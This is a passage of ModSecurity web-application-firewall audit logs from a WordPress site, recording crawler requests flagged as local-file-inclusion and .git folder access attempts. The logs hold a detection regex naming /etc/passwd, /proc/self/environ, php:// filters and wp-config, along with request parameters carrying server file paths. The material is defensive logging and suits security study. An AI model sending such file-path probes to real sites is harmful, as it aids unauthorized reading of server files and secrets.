(http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:59:43.563034 +0100","transaction_id":"abN9nkapybP6n-qLTwt1kAAAAYg","remote_address":"57.141.20.15","remote_port":33484,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/lib/locale/es_CR.utf8/LC_TELEPHONE HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.15","X-Forwarded-Proto":"https","X-Request-Id":"2a3efb2cb7b5fd9033ffcb9415d2314b","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3900785"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"2a3efb2cb7b5fd9033ffcb9415d2314b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/lib/locale/es_CR.utf8/LC_TELEPHONE||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":285,"p2":5456,"p3":0,"p4":0,"p5":298,"sr":128,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:01:28.027997 +0100","transaction_id":"abN-B1ICN_OZQ9wXfc22zwAAAE4","remote_address":"57.141.20.11","remote_port":58888,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/terminfo/i/ibmpc HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.11","X-Forwarded-Proto":"https","X-Request-Id":"cb5f187e10d360a48a3d33e44af3fc77","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2066253"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"cb5f187e10d360a48a3d33e44af3fc77","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/i/ibmpc||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":269,"p2":5186,"p3":0,"p4":0,"p5":333,"sr":139,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:02:50.292553 +0100","transaction_id":"abN-WepA8xvhc8hKmehHlAAAAUI","remote_address":"57.141.20.29","remote_port":50220,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/e6/efe3819cc10ef4f60ec03aecd46ef937a73832 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.29","X-Forwarded-Proto":"https","X-Request-Id":"a31ebc6919bab630921173c1ef4dc0c6","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"592011"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"a31ebc6919bab630921173c1ef4dc0c6","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/e6/efe3819cc10ef4f60ec03aecd46ef937a73832||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":337,"p2":5318,"p3":0,"p4":0,"p5":294,"sr":137,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:03:18.501168 +0100","transaction_id":"abN-dupA8xvhc8hKmehHvgAAAUU","remote_address":"57.141.20.35","remote_port":34408,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/var/lib/mibs/ietf/TE-MIB HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.35","X-Forwarded-Proto":"https","X-Request-Id":"044d4de46fbba3ccee0051e742690a76","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"592023"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Upgrade":"h2,h2c","Connection":"Upgrade","Vary":"Accept-Encoding","X-Orig-Rid":"044d4de46fbba3ccee0051e742690a76","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/var/lib/mibs/ietf/TE-MIB||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":223,"p2":4665,"p3":0,"p4":0,"p5":330,"sr":119,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:03:26.254372 +0100","transaction_id":"abN-fepA8xvhc8hKmehH4QAAAUU","remote_address":"57.141.20.50","remote_port":34408,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/14/af14c00d118bedaf227e941793eac04520737d HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.50","X-Forwarded-Proto":"https","X-Request-Id":"cd94b0c8118468009a18d56b8f4a08c8","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"592045"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"cd94b0c8118468009a18d56b8f4a08c8","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/14/af14c00d118bedaf227e941793eac04520737d||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":377,"p2":11123,"p3":0,"p4":0,"p5":449,"sr":163,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:03:36.668666 +0100","transaction_id":"abN-iEapybP6n-qLTwt3kgAAAZU","remote_address":"57.141.20.38","remote_port":34436,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/lib/locale/pa_PK/LC_COLLATE HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.38","X-Forwarded-Proto":"https","X-Request-Id":"801220032b7b46ade0040d2b07cf33ab","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6980526"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"801220032b7b46ade0040d2b07cf33ab","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/lib/locale/pa_PK/LC_COLLATE||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":201,"p2":3534,"p3":0,"p4":0,"p5":376,"sr":93,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:03:39.983191 +0100","transaction_id":"abN-i0apybP6n-qLTwt3lgAAAY0","remote_address":"57.141.20.54","remote_port":34426,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/usr/share/terminfo/n/ntconsole-60-w HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.54","X-Forwarded-Proto":"https","X-Request-Id":"13c5d5c1cc861e7d722c0e5930b817b3","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"493268"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"13c5d5c1cc861e7d722c0e5930b817b3","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/n/ntconsole-60-w||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":328,"p2":5499,"p3":0,"p4":0,"p5":323,"sr":149,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:03:50.555238 +0100","transaction_id":"abN-lkapybP6n-qLTwt3sQAAAZU","remote_address":"52.167.144.211","remote_port":34436,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /atom.xml HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"52.167.144.211","X-Forwarded-Proto":"https","X-Request-Id":"8949b33dabf72218ec45b4c845ff2ae6","X-L-Admin-Auth":"0","accept":"*/*","from":"bingbot(at)microsoft.com","user-agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3867475","Accept-Encoding":"br,gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"8949b33dabf72218ec45b4c845ff2ae6","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":191,"p2":3147,"p3":0,"p4":0,"p5":359,"sr":104,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:03:52.341651 +0100","transaction_id":"abN-l-pA8xvhc8hKmehIDQAAAVE","remote_address":"57.141.20.52","remote_port":51808,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/htdocs/coopo.jmkconsulting-ci.com/SCAES/.git/objects/51/35546380ed270ef06199b82f2895fb065e5c17 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.52","X-Forwarded-Proto":"https","X-Request-Id":"80cea2cd9b9a0be9a857267be609a94f","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3867481"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Upgrade":"h2,h2c","Connection":"Upgrade","Vary":"Accept-Encoding","X-Orig-Rid":"80cea2cd9b9a0be9a857267be609a94f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/harvest/?rename=/htdocs/coopo.jmkconsulting-ci.com/scaes/.git/objects/51/35546380ed270ef06199b82f2895fb065e5c17||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":340,"p2":4550,"p3":0,"p4":0,"p5":350,"sr":142,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:04:07.656721 +0100","transaction_id":"abN-p1ICN_OZQ9wXfc237wAAAEk","remote_address":"57.141.20.59","remote_port":40376,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/advanced-custom-fields/advanced-custom-fields.6.3.1.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.59","X-Forwarded-Proto":"https","X-Request-Id":"96b5422681cb370a721c63d3b25964f8","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4587731"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"96b5422681cb370a721c63d3b25964f8","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/advanced-custom-fields/advanced-custom-fields.6.3.1.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":239,"p2":6348,"p3":0,"p4":0,"p5":336,"sr":138,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:04:10.096884 +0100","transaction_id":"abN-qepA8xvhc8hKmehIMAAAAVM","remote_address":"57.141.20.25","remote_port":34782,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/zoneinfo/Australia/Sydney HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.25","X-Forwarded-Proto":"https","X-Request-Id":"890407b74445d3ce83c756f7e5af04df","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6980562"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"890407b74445d3ce83c756f7e5af04df","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/zoneinfo/Australia/Sydney||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":373,"p2":6135,"p3":0,"p4":0,"p5":343,"sr":131,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:04:19.354406 +0100","transaction_id":"abN-supA8xvhc8hKmehIRwAAAVA","remote_address":"57.141.20.24","remote_port":34444,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/usr/share/terminfo/n/nsterm-c-acs HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.24","X-Forwarded-Proto":"https","X-Request-Id":"cc96dba841d8c0ecfc26619398d5aaa0","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"360804"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"cc96dba841d8c0ecfc26619398d5aaa0","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/n/nsterm-c-acs||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":344,"p2":6089,"p3":0,"p4":0,"p5":579,"sr":151,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
